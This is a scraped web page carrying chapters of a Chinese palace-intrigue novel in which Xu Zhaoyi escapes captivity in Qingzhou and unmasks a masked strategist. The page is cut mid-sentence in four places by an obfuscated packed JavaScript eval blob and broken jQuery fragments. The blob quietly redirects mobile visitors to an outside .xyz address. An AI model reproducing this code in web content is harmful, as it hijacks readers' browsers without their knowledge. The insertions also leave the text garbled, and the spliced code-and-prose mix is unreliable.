;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120262|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主的妖女啊!小的们将这妖女绑来,难道还不够显示忠心的吗?” 这话音一落,明显属于鹰眼将领的嘶吼痛呼瞬间响起。 “你要显忠心还不简单?你以为我们将军没打探当时的情况吗?你都起兵造反了,那二皇子就在你身边,你怎么不把那二皇子挟持来青州呢?你若是带二皇子来,我们都尉今日绝对不会杀你的弟兄们!”狱卒语带嘲讽。 随后又是一阵皮开肉绽的声音,以及一连串问题。 “招不招?” “你到底是谁派来的?” “你来青州到底有什么目的?” “你为什么不把二皇子绑来?” 鹰眼将领一开始的回答模模糊糊,直到突然一瞬间,他的声音徒然低下来,几乎听不见后,徐昭意这才听到他一句不甚清晰的招供。 “......小的本来想将二殿下......二皇子一同虏过来的,但二皇子莫名看了小的一眼,随后白侍郎也徒然带兵跑来......小的就只虏徐二娘子来了......” 徐昭意忍着没沐浴就上床的不舒服,侧耳听着听着又笑了。 她已经记不清今日笑了多少次了,只记得每次让她笑的原因都挺令人惊奇的。 鹰眼将领这句话一出,慢慢的便没声儿了。徐昭意在床上勉强小歇一会儿,还没彻底清醒过来,牢狱外面又传来细碎声响。 她睁眼看去,只见一个衣着富贵、做嬷嬷打扮的妇女走过来,睨了她一眼,眼底说不上是什么情绪,语气却是不善道:“徐二娘子,跟奴婢走罢!” 徐昭意也没问去见谁,只笑了笑跟上这个嬷嬷,嬷嬷还带了两个瞧着便武力高强的婢女,一左一右护着她走上马车。 她扫了圈马车内低调却奢华的装横,想起自己已经一日未曾沐浴,顿时浑身又不自在起来。 正烦躁着,马车便停下,徐昭意一出马车便见到了一座占地面积极广的大宅院。宅院内亭台楼阁、花草曲径皆有,瞧着极有底蕴。她愈在里面走,便愈想要沐浴。 好在那嬷嬷并未第一时间带她去见主人家,反而将她带到偏院里,里面有个玉石堆砌的浴池,温热池内还冒着袅袅水汽。 徐昭意感受着通身的潮意,浑身不自觉松泛下来。她婉拒了那两个婢女想要帮她洗的好意,任由那两个婢女跟两个石柱子一样横在浴池两边,自个儿跟没事人一样褪衣下水池。 水池温度适中,隐约的桃花香气缭绕身侧,更是带来别样享受。 因着这些,徐昭意出水池后,看到衣物旁近乎羞辱的香囊后,面色也没甚么变化。 前朝末帝喜与妃嫔玩一游戏,妃嫔身上愈香,愈能吸引末帝养的那条猎犬,末帝就会去那位妃嫔处就寝。 这一艳闻随着前朝灭亡传遍民间,自此以后,一些达官贵人便会让自家妻妾就寝前佩戴香囊,以示讨好之意。 徐昭意又抚过衣物。这套衣物倒没问题,乃是最保守不过的款式。 她笑了笑,在两位婢女的伺候下穿好衣物,戴好香囊,在那位嬷嬷的指引下,款款走向主人家的寝居。 38. 引蛇出洞 寝居内香烟袅袅,缠绕着精致的雕梁画栋,空气中弥漫着一种沉水香与某种冷冽气息混合的味道,添了几分肃杀与神秘。 徐昭意缓步踏入,目光扫过屋内陈设,最终落在那座描金绘彩的山水屏风上。屏风后隐约有一道身影,看不真切,却能感受到一道目光落在自己身上,锐利如箭,带着隐隐约约的不满。 她敛衽行礼,不卑不亢:“不知是哪位阁下在此?小女叨扰了。” 屏风后传来一道略显低沉的男声,像是刻意压低了嗓音,却带着压不住的青涩:“徐二娘子不必多礼,坐吧。” 身后的侍女早已悄然退下,屋内只剩下她与屏风后的人。徐昭意依言在一旁的锦凳上坐下,指尖无意识地摩挲着衣袖上的暗纹。 “二娘子可知,如今京城看似平静,实则暗流汹涌?”那声音再次响起,直截了当。 徐昭意抬眸,看向屏风:“阁下是指端贵妃与太子之争?” “算是其一。”那声音嗤笑一声,“但端贵妃那点势力,依附于陛下的恩宠,看似风光,实则根基浅薄。太子虽失势,却有旧部暗藏,加之高家之事起了波澜,戎州蠢蠢欲动……端贵妃想凭二皇子登顶,不过是镜花水月,难成气候。” 徐昭意不动声色道:“阁下此言,未免太过绝对。” “绝对?”那声音似有轻笑,带着一丝嘲讽,“二娘子聪慧过人,岂会看不透?良禽择木而栖,如今这棵树已是风雨飘摇,二娘子何不早做打算,另择明主?” 这话已是说得极为直白,“另择明主”四字,像一根细针,精准刺向徐昭意与二皇子的婚约。 徐昭意端坐着,面上依旧平静,仿佛未闻其弦外之音。她垂眸,长长的睫毛在眼下投出一片浅影:“阁下的好意,小女心领了。只是婚姻大事,自有父母之命、媒妁之言,现下时局变幻,谁又能说得准日后之事?” 她既未答应,也未直接拒绝,将话踢了回去,态度暧昧不明。 屏风后的人似乎也未料到她会是这般反应,一时无语,场面竟陷入沉寂。 徐昭意也不悚,思绪逐渐飘远,不知怎么的又绕到小七身上去了。 她方才沐浴时,还以为自己要见的是小七。可现下这番试探下来,怕是猜错了。不说别的,单论这声音……就绝非小七。 那人不想她竟这般沉得住气,又沉默了片刻,眼见她毫无反应,这才道:“二娘子果然通透。罢了,言尽于此,何去何从,还望二娘子三思。” “多谢阁下提点。”徐昭意起身,再次行礼,“小女身子不适,先行告退。” 屏风后未再回应,仿佛默认了她的离去。 徐昭意转身,步履从容地走出寝居,回到了先前的偏院。刚踏入院门,她便停下脚步,回头望了一眼主院的方向,眸色深沉。 那人若不是小七,那是谁?为何要提醒她这些?又为何要暗示她换掉未婚夫?他到底是敌是友? 无数疑问在心头盘旋,却理不出头绪。 而另一边,徐昭意刚离开,屏风后的人便缓缓走了出来。 一身灰衣,面容清秀,琥珀色的瞳孔在昏暗光线下闪着冷光——竟是阿青! 他走到窗边,望着徐昭意离去的方向,眉头微蹙。 就在此时,一道身影从屋梁的阴影处跃下,动作轻盈无声。来人戴着赤狐面具,周身散发着一股寒意,漠然盯着阿青。 “你不该对她说这些。”小七的声音沙哑,语气似是冷漠,又似带着一丝几不可察的怒意。 阿青转过身,皱眉看着他,眼底意味不明,嘴上却道:“高小七......姑且这么叫你?你到底在害怕什么?” “只要殿下还在,徐二娘子便永远无事。难道你还不相信殿下?” “高小七......你可是这世上,最不可能背叛殿下的那个人。” 风吹过,烛火摇曳,将头戴赤狐面具的影子拉长,宛若一个真正的影狐,在暗中注视一切。 * 接下来的几天里,徐昭意仿佛被人彻底遗忘在角落,又无所事事了好几天。 再一次睡到日上三竿还无人打扰后,她直怔怔盯着床顶,耳边是扫洒婢女极为小声的私语。 “......那位大人当真喜欢吃鱼肉......” “可不是嘛......这才几天,小厨房每日都要变着花样给那位做鱼肉吃......” 徐昭意眼珠微动,正懒洋洋躺着,忽而痛定思痛,决定给自己找点事干。 她唤来婢女收拾自己,随后一眨不眨盯着那个婢女,满眼的笑盈盈。 “阿蝉,我前两日托你买的花雕酒在何处?” 阿蝉是那两个婢女中的一个,这几天下来,她对徐昭意的态度也缓和了许多。 一般来说,只要徐昭意提的要求不过分,她一般会竭力满足。 阿蝉闻言立马去一旁的房间拿酒,还没等她打开酒坛子给徐昭意倒酒,徐昭意又冲她招招手,笑容愈发明媚。 “小厨房今日是不是要做鲈鱼?” 阿蝉闻言愣了愣,抬头看向徐昭意,见她神色平静,不像是在说笑,这才抱着酒,讷讷回道:“回二娘子,方才听伙夫说,确实从后河打了些新鲜鲈鱼,说是给二娘子补身子用的。” 徐昭意唇边勾起一抹极淡的弧度,“是吗?那可真巧。我这几日总觉得口中发苦,倒想吃些清淡的鱼肉。阿蝉可否带我去小厨房?左右闲着也是闲着,做道菜解闷也好。” 阿蝉更糊涂了。 这位徐二娘子自打进了这宅院,虽未被苛待,却也形同软禁,平日里除了看书便是静坐,极少主动提及吃食,今日怎会突然对鲈鱼上心? 但她不敢多问,只连忙摆手:“二娘子万万不可!您是贵客,怎能亲自动手做这些粗活?” “贵客?”徐昭意轻笑一声,眼底闪过一丝自嘲,“我如今的处境,算哪门子的贵客?不过是借贵地暂歇罢了。阿蝉可否与伙夫商量一下,就当满足我一个心愿罢。” 她说着恳求的话,却带着一种不容置疑的笃定。 阿蝉犹豫片刻,终究还是拗不过她,只得应声,抱酒随她一同前往小厨房。 小厨房设在宅院西侧,带着一股烟火气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133218|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙夫是个膀大腰圆的汉子,见徐昭意亲自过来,惊得连连拱手,“二娘子怎的来了?有吩咐奴才做便是,哪敢劳您大驾?” 徐昭意笑了笑,顺手拿起菜刀,温着神色掂量了两下,“我不过是一时兴起,想自己动手做道菜,大家不必拘谨。” 伙夫瞧她那动作,哪里敢说个“不”字,连忙从水桶里捞起一条活蹦乱跳的鲈鱼,又提刀处理好鱼肉,备齐一应物什,全都恭恭敬敬摆置案上。 徐昭意挽起袖子处理鱼身,动作有些生涩却极为认真。处理好鱼肉后,她取过一个白瓷盘,将鱼放在盘中,又在鱼身上铺了一层薄薄的火腿丝。 阿蝉在一旁看着,不由得暗暗咋舌。 她竟不知二娘子还有这般手艺。 “二娘子,清蒸鱼讲究火候,火太急则肉老,火太慢则失了鲜气。”伙夫在一旁忍不住提醒道。 徐昭意点点头,面上的笑意愈发温软,“多谢提醒,我晓得了。” 她将盘子放入蒸锅,又特意往水里滴了几滴花雕酒,这才盖上锅盖。做完这一切,她站在灶台前,看着蒸汽从锅盖缝隙中袅袅升起,唇边笑意不变,眼底神色渐深。 她记得,上次在青衣巷吃小七做的清蒸鲈鱼时,里面便有股花雕酒味儿。 那时他虽面色冷淡,却将整条鱼都吃了个干净。若是小七当真在此地,她将道鱼复刻出来后,会不会将他引出来呢? 蒸汽弥漫中,鱼肉的鲜香逐渐散发出来,混杂着花雕酒的醇厚香气,在小厨房里弥漫开来。 约莫一炷香的功夫,徐昭意掀开锅盖,一股浓郁的香气瞬间涌了出来。 她小心地将鱼盘端出,又淋上一勺滚烫的葱油,洒上少许翠绿的葱花,一道色香味俱全的清蒸鲈鱼便成了。 “二娘子好手艺!”伙夫在一旁赞不绝口。 徐昭意却没说话,只是静静地看着盘中的鱼。片刻后,她忽而对阿蝉道:“把这鱼端去……就送到主院吧。” 阿蝉一愣:“主院?二娘子你不吃吗?” “突然不想吃了。”徐昭意瞧起来就是一般贵女,笑得天真又娇憨,“若不是这里的主人家,我怕是还在牢狱里待着呢!我现下也无甚可送的,又听闻主人家爱吃鱼,便也只好做鱼送与主人家吃了。” 阿蝉虽满心疑惑,却还是依言端着鱼盘往主院走去。 徐昭意站在小厨房门口,望着阿蝉的背影消失在回廊尽头,指尖不由得微微收紧。 她不知道自己这一步棋走得对不对,也不知道这道鲈鱼能否引出她想找的人。 但她隐隐有种预感,小七一定就在这座宅院里。 不多时,阿蝉回来了,脸上带着几分古怪的神色:“二娘子,鱼……送进去了。” “哦?”徐昭意抬眸,“那位阁下可有说什么?” “少爷说……”阿蝉犹犹豫豫,“他说此鱼之味道乃平生罕见,高兴之下便邀请二娘子参加今晚的全鱼宴。” 阿蝉抬头,在徐昭意含笑的目光下,缓缓道:“那全鱼宴,乃少爷一人操持,从不假他人手。在二娘子之前,少有人能吃到这一口。” 39. 逃离青州 暮色四合时,偏院的灯笼次第亮起,暖黄光晕透过雕花木窗,在青石板上投下斑驳的影。 徐昭意换了身月白软缎裙,裙摆绣着几尾银线小鱼,衬得她本就清丽的眉眼愈发沉静。 引路的婢女提灯走在前面,转过一道月洞门,眼前豁然开朗。 一座临水的轩榭里,早已摆开长案,案上琳琅满目,竟全是与鱼相关的菜式。 糟熘鱼片莹润如玉,松鼠鳜鱼红亮诱人,凉拌鱼皮脆嫩爽口,最中间那道,正是清蒸鲈鱼,此刻被摆在青玉盘里,葱花依旧翠绿。 长案尽头坐着几人,上首那人面容清秀,瞳孔是琥珀色的,却是阿青。 徐昭意不自觉往阿青身旁那人看去,那人身着墨色锦袍,头戴赤狐面,露出来的小半张脸白皙惑人,此刻正低头用银箸挑开一尾炸得金黄的小鱼。 ......这露出来的小半张脸不像小七,倒像阿姐,或者说,阿姐与小七的结合体。 “系统你再确认一下,男四真的死了吗?”她不禁在心底问道。 没一会儿,任务系统便以一种极为肯定的口吻道【确定无疑,男四的生命特征早已消散】 虽说前几日,甚至是前段时间,男四的生命特征时不时便会复苏,但任务系统此时认真探查后,却依旧没发现男四一丝的生命特征。 它思考了下,觉着是主系统那边出了错,便没再想,只跟徐昭意说了“男四已死”的最终结果,却没说其中曲折的过程。 徐昭意闻言一怔,一股说不上的滋味攀上心头,挥之不去,只慢慢胀开,带来一种酸麻感。 她不禁再次,深深地忘了那军师一眼,眸底藏着一丝说不清道不明的期盼。 “徐二娘子可是认得军师?”阿青往身旁看了一眼,略带青涩的面庞上,显出几分藏不住的兴味,“军师也是我高家人,可惜先前一心游历天下,一直到近日才归来。徐二娘子若是真的在哪儿见过像军师的人,那说不准真是军师。” 徐昭意收回视线,转而看向阿青,温温软软地笑着:“小女未曾见过军师,却是见过少主您。” 被叫破了身份,阿青也不恼,他一改在阿姐院落中的不满与嫌恶,饶有兴趣地打量了徐昭意一眼,笑道:“不巧,我也见过二娘子你。” 得了阿青的变相承认,徐昭意也不客气,径自问道:“那少主可知晓,阿姐去了哪里?” 她低垂眉眼,显得有些落寂,“阿姐与小女有些误会,后来便不告而别,小女便是想找,也找不到她在何处。” 阿青瞟了身旁人一眼,撇撇嘴,“要我说,二娘子就是对不住大娘子。大娘子待二娘子如此尽心,连练体都手把手教着,二娘子的未婚夫却趁大娘子与人搏命之际,要抓捕大娘子,叫大娘子再也回不得京城。二娘子你听听这话,你觉得对吗?” “此事是小女不对。”徐昭意从善如流地道歉,又转而看向专心致志吃鱼的军师,笑了笑,“军师可愿试试这道清蒸鲈鱼?这道清蒸乃小女故人的绝学,其味独特,军师若不弃,可一试。” 那头戴赤狐面具的军师闻言怔了怔,一双带点暗金的琥珀色眼眸看了她一眼,又转而看向清蒸鲈鱼,夹了一块吃,唇角隐约上扬。 “不错。”他言简意赅。 徐昭意仔细打量了他吃鱼的姿势,眼底极快闪过一丝了然,面上却笑道:“军师好眼光。” 言毕,她揉了揉肚子,有些为难,又有些羞赧地抬起头,“小女身体不适......便先告辞,望诸位海涵。” 坐上的军师扫了她一眼,还没来得及说话,阿青便大手一挥道:“去吧去吧。” 徐昭意低眉退下,将手搭在阿蝉胳膊上,叫她将她搀扶出去。 待远离水榭后,徐昭意望向路边灯笼,感受着暖黄光晕的渲染,忽而笑了下,“你是二殿下派来的人吧?” 阿蝉一懵,面色瞬间空白,还没来得及回话,徐昭意又道:“放心吧,我会帮助二殿下找到他想要的东西的。” 说罢,她指向主宅,面色依旧笑盈盈,却是凑到阿蝉耳边低语,“你现在去主宅里搜一把牛皮鞘的刀,让阿貂送我去偏院。你们的联络方式是什么?” 阿蝉下意识道:“我们没有......” “我此生断不会负二殿下,你们实不必如此防备......”徐昭意的声音轻柔却带着不容置疑的坚定,“眼下情势危如累卵,能否寻得小七尚在人世的凭证,成败在此一举。若因猜忌耽误了大事......值此关头,你们仍要对我处处相疑吗?” 阿貂率先道:“我们以起火为接头暗号。” 徐昭意眉眼舒缓,朝阿蝉点点头,扶着阿貂便走。 往前走了几步后,她又猛然回想起今夜那军师吃鱼时的神态。按理说,吃鱼暴露出小七的身份,他不该如此镇定。 “依你的武力,你能带我回到水榭附近且不被人发现吗?”徐昭意紧紧盯着阿貂,轻声问道。 阿貂点点头,徐昭意便立马让她护着自己往回走。正往回走时,徐昭意却发现了不对。 这条小路上无一往来婢女! 她意识到不对劲,侧身躲进假山后,叫阿貂速去水榭处探查一二,看是否还有人在。 阿貂迟疑了一下,又看了徐昭意好几眼,待徐昭意再三保证不会逃走后,这才离去。 假山外流水潺潺,假山内别有洞天,大到可以容纳两个人。 四周无人影,徐昭意靠在假山壁旁,感受着心脏跳动声,莫名想起了阿姐。 当初阿姐就是躲在假山内,窥探她们的行动......这般想着,她豁然瞪大眼,细细抚摸着假山纹路。 白府上的假山看起来并没有这处府邸大,况且她看到裙角的地方......位置很刁钻。按理说,若没有主人家的带领,旁人很难知道那里还有着一方小天地。 可若是白家本身与阿姐认识......徐昭意一不留神从假山上扣了一小块石子儿下来,她感受着指腹间的疼痛,面色愈发煞白。 她真傻,那白轻落说不准早已暗地投靠阿姐!她竟还将自己的猜测,通过白轻落传给贵妃!这与羊入虎口有甚区别? 徐昭意捏着掌心的小石子儿,吸气又呼气,呼气又吸气,几个来回终于平复好心情。 无论如何,先将眼前的难关度过再说。 她侧耳倾听假山外的动静,不放过一丝一毫的声音,终于,她隐约听见了一些不轻不重的脚步声,还伴随着些微笑闹声。 能在这府邸如此放松的,应当是小七那一行人了。 她深吸一口气,理了理裙摆,故意将脚步放得轻缓,装作刚从假山后绕出来的样子。 月色透过枝叶洒在青石路上,映出斑驳的光影,她“不慎”踩在一块湿滑的苔藓上,身形猛地一晃。 “呀——” 一声短促的惊呼刚出口,腰间已多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157206|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一只稳健的手臂。 那手臂力道极足,稳稳将她下坠的身子捞了起来。 徐昭意下意识抬头,撞进一双隔着赤狐面具的琥珀色眼眸,鼻尖却先一步嗅到了那股熟悉的冷冽香气。 清冽如寒潭,与阿姐或小七身上的气息,竟有七八分相似。 她的心头猛地一跳,一个荒诞的念头闪过。 小七与阿姐......难道真的不是同一人?这香气为何如此相像? 正怔忡间,她才惊觉自己整个人几乎窝在军师怀里,对方的体温透过薄薄的锦袍传来,带着一种不容忽视的存在感。 身侧传来阿青低低的嗤笑声,那目光像带着钩子,看得她耳尖发烫。 她虽周旋于各方势力,却从未与男子有过这般近的接触。这般故意崴脚,半倚在陌生男子怀中,被两人目光灼灼地盯着,倒真有几分像那等龌龊手段。 一股羞赧涌上脸颊,她连忙挣扎着想要站稳:“多、多谢军师援手。” 军师却未立刻松手,只低头看她,声音隔着面具传来,沙沙闷闷的:“二娘子无碍?” “已无大碍。”徐昭意垂下眼帘,面上又羞又恼,眼底却极快地滑过一丝笑意。 就在这时,眼角余光瞥见不远处的回廊下,阿貂正朝她使眼色。 徐昭意心头一松,正盘算着如何不动声色地从军师怀里脱身,往阿貂那边挪去,身后却突然传来一阵惊呼—— “走水了!主院走水了!” 火光骤然亮起,映红了半边夜空。浓烟滚滚,伴随着杂乱的脚步声和惊叫声,原本静谧的府邸瞬间陷入混乱。 “军师,小女自己能走。”徐昭意趁机挣开他的手臂,强撑着站直身子,哪怕脚踝处传来一阵刺痛,也装作若无其事的样子,“火势凶险,您还是快去看看吧。” 军师深深看了她一眼,又扫向火光冲天的主院方向,终究是转身带着阿青快步离去。 徐昭意望着他们的背影,刚松了口气,手腕突然被人攥住。她惊得回头,却见阿貂换了身粗布短打,脸上抹了几道灰,眼神示意她配合。 “要钱还是要命?!”阿貂故意压低声音,粗声粗气地喝道,手上却暗中用了巧劲,半扶半拽地将她往偏僻的角门带去。 周围的仆役们只顾着救火,哪里顾得上这边。徐昭意顺势装作惊慌失措的样子,被阿貂“劫持”着,很快消失在浓重的夜色里。 角门外停着一辆不起眼的马车,阿貂将她推上车,自己也迅速翻身上马,扬鞭道:“走!” 马车轱辘转动,驶离了这座火光熊熊的府邸。徐昭意撩开车帘一角,望着那片映红天际的火光。 阿蝉得手了,她们也成功逃离青州。 一切顺利得过分。 ......是巧合吗? 她的指尖轻轻摩挲着方才被军师触碰过的腰间,那股冷冽香气仿佛还萦绕在鼻尖。 那个军师,不是阿姐就是小七,或者说,他二人是一人。 她被那一人骗得好苦。 嗤笑一声,她猛然捂住口鼻,似要屏蔽掉鼻尖缭绕不去的冷香。 鼻尖空气日益稀薄,一股窒息感自面部传至四肢,化作滴滴冷汗,没入木板间。 她又猛然松开手,大口喘息几声,倏忽拉上车帘,蜷缩在座位上,闭眼感受着心跳。 还有最后几天......无论他二人是谁,她定不会让他们好过! 40. 逃离险境 马车在崎岖路上颠簸了几个时辰,窗外的天色由浓黑转为鱼肚白,远处的林莽间已透出熹微的晨光。 徐昭意掀开一角车帘,望着晨雾中模糊的山影,指尖仍残留着那股冷香的余韵,像一根细密的针,时不时刺一下她的神经。 “二娘子,前面就是落马坡了,过了坡再走半个时辰,就能到与殿下接应的联络点。”阿貂勒住缰绳,回头禀报。 徐昭意“嗯”了一声,目光却落在坡下蜿蜒的山道上。 那路窄得仅容一车通行,两侧是陡峭的山壁,长满了半人高的荆棘 ——这是绝佳的伏击之地。 她忽然按住阿貂的手腕,声音压得极低:“绕路。” 阿貂一愣:“绕路要多走两个时辰,恐会误了与殿下约定的时辰......” “误了便误了。”徐昭意的指尖冰凉,“你信不信,此刻落马坡上,至少有十双眼睛盯着我们?” 阿貂瞳孔骤缩,下意识握紧了腰间的短刀。 她随二殿下出生入死多年,对危险的直觉远比常人敏锐,经徐昭意一提醒,才惊觉周遭过分的安静,连鸟鸣虫嘶都消失了。 “可......”阿貂仍有些犹豫,“我们的路线是殿下亲自定下的,按理说不会走漏风声......” “或许吧。”徐昭意扯了扯唇角,笑意未达眼底。 阿貂本来想宽慰徐昭意,叫她无需忧心,可话还未出口,她猛然发现泥地里不显眼的一抹白。 她翻身下马,将那抹白抽出来 ——那赫然是信鸽掉落的羽毛! 阿貂的脸色瞬间变得煞白,“那现在怎么办?” 她声音发颤,握着缰绳的手沁出了汗。 徐昭意闭上眼,鼻尖却若有似无地嗅到一丝檀香。 “去清正寺。”她猛地睁眼,眼底已没了半分迷茫,“那里离这不远,又有许多达官贵人暂居,他们不敢放肆!” 阿貂不再犹豫,调转马头便往另一侧的岔路驰去。马蹄踏过草地,惊起一片宿鸟,倒打破了那令人窒息的寂静。 马车刚拐进岔路,身后便传来一阵急促的马蹄声,夹杂着利刃破空的锐响。 徐昭意回头时,正看见三枝羽箭擦着车辕钉进路边的树干,箭尾的白羽还在嗡嗡震颤。 “他们果然来了!”阿貂低喝一声,抽出短刀便要回身迎战。 “别停!快赶车!”徐昭意按住她,掀开车帘向后看。 玄色劲装,腰佩银鞘短刀,却是面容清秀的模样,正是阿青。 她的性命就如此重要,竟惹得高家少主亲自追捕? 徐昭意的心一点点沉下去,指尖掐进掌心,刺痛万分。 她却跟没事人儿一样,只再次看了阿青一眼,目光落在那把短刀上。 “二娘子,前面是断崖!”阿貂的声音带着哭腔。 徐昭意探头一看,前方的山道突然中断,下面是深不见底的云雾,只有一道狭窄的木桥横跨两岸,木板已朽坏大半,在风中摇摇欲坠。 追兵的马蹄声越来越近,为首那人的声音清晰传来:“徐二娘子,束手就擒吧!念在旧情,本少可留你全尸!” 旧情?徐昭意乍然笑起来,笑得眼角发酸。 她忽然想起那日在城墙之上,萧青恒摸着她的头,看似温柔地说她长大了。 “阿貂,你会水吗?”她忽然问道。 阿貂一愣:“会......二娘子要做什么?” “跳下去。”徐昭意指着桥下的云雾,“下面是暗河,顺着水流走,能到清正寺后山。” “那您呢?” “我引开他们。”徐昭意将一枚小小的玉牌塞进阿貂手里,这是她身为徐国公府二娘子的身份玉牌。 “到了清正寺,你便暗中找人来救我,不要惊动任何人。” 阿貂还想说什么,却被徐昭意猛地推下车。马车失去平衡,在山道上打了个旋,正好挡住了追兵的去路。 徐昭意勒住缰绳,转身直面阿青,脸上竟带着一丝诡异的平静。 “你们不是要抓我吗?”她缓缓摘下头上的银钗,钗尖抵住自己的咽喉,“过来啊。” 阿青不敢上前,只皱眉道:“徐二娘子,不要冲动!本少只是想请你回去问话!” “问话?”徐昭意挑眉,“问我为何从青州逃出来?还是问我......如何知晓你们军师的身份的?” 阿青脸色不变。 徐昭意观察他们的面色,心底却疑惑。她可以肯定那个军师身份有问题,只是暂时猜不出罢了。 若对面真是阿青,不该如此平静。 况且,阿青与小七一样的武功路数,应该用不惯短刀才是。 就在这时,一道青色身影从云雾深处飞来,色彩鲜艳,却带着一股说不出的寒意。 徐昭意抬头望去,却一怔。 ......是军师。 阿青显然也听到了动静,转头望去,脸上却露出复杂神色。 徐昭意抓住这个机会,猛地调转马头,朝着木桥冲去。马蹄踏在朽坏的木板上,发出咯吱咯吱的哀鸣,仿佛随时会断裂。 身后的箭矢再次射来,擦着她的耳畔飞过。她俯身贴在马背上,感受着风从耳边呼啸而过,鼻尖似乎又闻到了那股冷香,混杂着水汽的潮湿。 “小心!”有人在身后喊道,声音熟悉得让她心头一颤。 她下意识闭眼。 千钧一发之际,一道青影跃出,带着那股清冽的冷香,挡在她身前。 羽箭没入那人的肩胛,发出沉闷的响声。 赤狐面具在晨光中泛着冷光,那双琥珀色的眼眸直直望着她,里面翻涌着她看不懂的情绪。 “走!”他沙哑着嗓子,音调却不变。 徐昭意盯着军师,忍不住问道:“你到底是谁?” 军师没有回答,只是推了她一把:“快走!” 马蹄再次扬起,徐昭意终于冲过木桥。她回头望去,看见军师转身迎上阿青,说了些什么,阿青勒马停下,眼神却居高临下睨着军师。 军师青色的衣袍在风中展开,身体挺拔有力,像一只威严的狐王,牢牢守护着自己的地盘。 再后头的事儿,徐昭意便看不到了。 她只听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191736|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到又一阵战马奔跑声响起,带着雷响般的轰鸣。 她没回头,径自越过那处断崖,没多久便遇到了援兵。乌压压的黑甲兵整齐划一地跑来,她甚至看到了藏在骑兵中间的马车。 就这么一点时间,还够援兵准备马车吗? “二娘子!”阿貂匆匆赶来,上下将她打量了个遍,眼见她没出什么事,便松了口气。 阿貂看了徐昭意一眼,凑近低语:“二娘子,奴婢刚到清正寺,便遇到了这些援军。据他们所说......是二殿下派他们守在那里的。” 此事连阿貂都觉得有问题。 徐昭意垂眸笑了笑,低声道了句:“无事。”便理了理稍显凌乱的发髻,虽满身狼狈,却依旧端庄地朝为首援兵走去,朝为首援兵笑了笑,随后坐进援兵中间的马车里。 马车缓缓驶动,援兵若乌云般压过护城林,来到了京城门口。 大门缓缓打开,徐昭意鬼使神差地撩开车帘一瞧,便与一旁酒楼上的萧青恒对上视线。 他面上带着往常的温和笑容,少了些曾经的意气风发,多了些稳重。 徐昭意眯起眼,就见萧青恒朝她招了招手,面带庆幸之色,好像说了四个字 ——娘子归矣。 * 徐昭意回来没几天,卢平丹带着凝露也回来了。 凝露归府那日,装满药草的箱笼浩浩荡荡,汇成一条长龙,通向徐昭意的昭明苑。 小厨房不一会儿便开始冒着袅袅药香。 徐昭意面色发苦地喝药时,凝露正在查阅药草。她正左捣捣、右瞄瞄,忽而动作一顿,从一堆草药里掏出一捆类似金银花的草药。 “娘子......”凝露总觉得在哪里见过这药草,便不自觉喊了徐昭意一声。 徐昭意咽下最后一口药,转眸看去。 只见凝露带回的草药堆在桌上,郁郁葱葱的一片,独有捆类似金银花的草药混在其中,叶片狭长,乍看与金银花确实有几分相似,只是根茎处藏着不易察觉的紫晕。 她瞳孔一缩,急促道:“你快去洗手!” 幸好凝露方才在整理草药的时候,还打了盆水来洗草药。她闻言急忙将手放水里搓洗,没一会儿,水中泛起淡黑。 徐昭意揉着太阳穴,紧紧盯着凝露,“这草是在何处采得?” 凝露面色煞白,“就在江南宋家祖宅后山的溪畔灌木丛里,当时瞧着与金银花像,想着或许也有清热解毒的功效,便顺手采了些。” “宋家祖宅后山?”徐昭意重复了一遍,指尖叩在桌沿,发出轻而密的声响。 江南宋家乃贵妃母族,暗地里经营了不少生意。在贵妃得宠前,传闻连高家的军械采买,都曾借过宋家的渠道。 后贵妃得宠,江南宋家便也逐渐低调起来。 她深呼一口气,微微偏过头,就见凝露连着搓洗几遍,这才满脸晦气地收回手,急急忙忙将水倒掉,生怕留久一点。 “够了。”她淡淡出声提示,又倏忽问,“你怎么会在宋家祖宅附近徘徊?” 凝露的面色渐渐沉下来,眼底含着悲伤,“梅家……出事了。”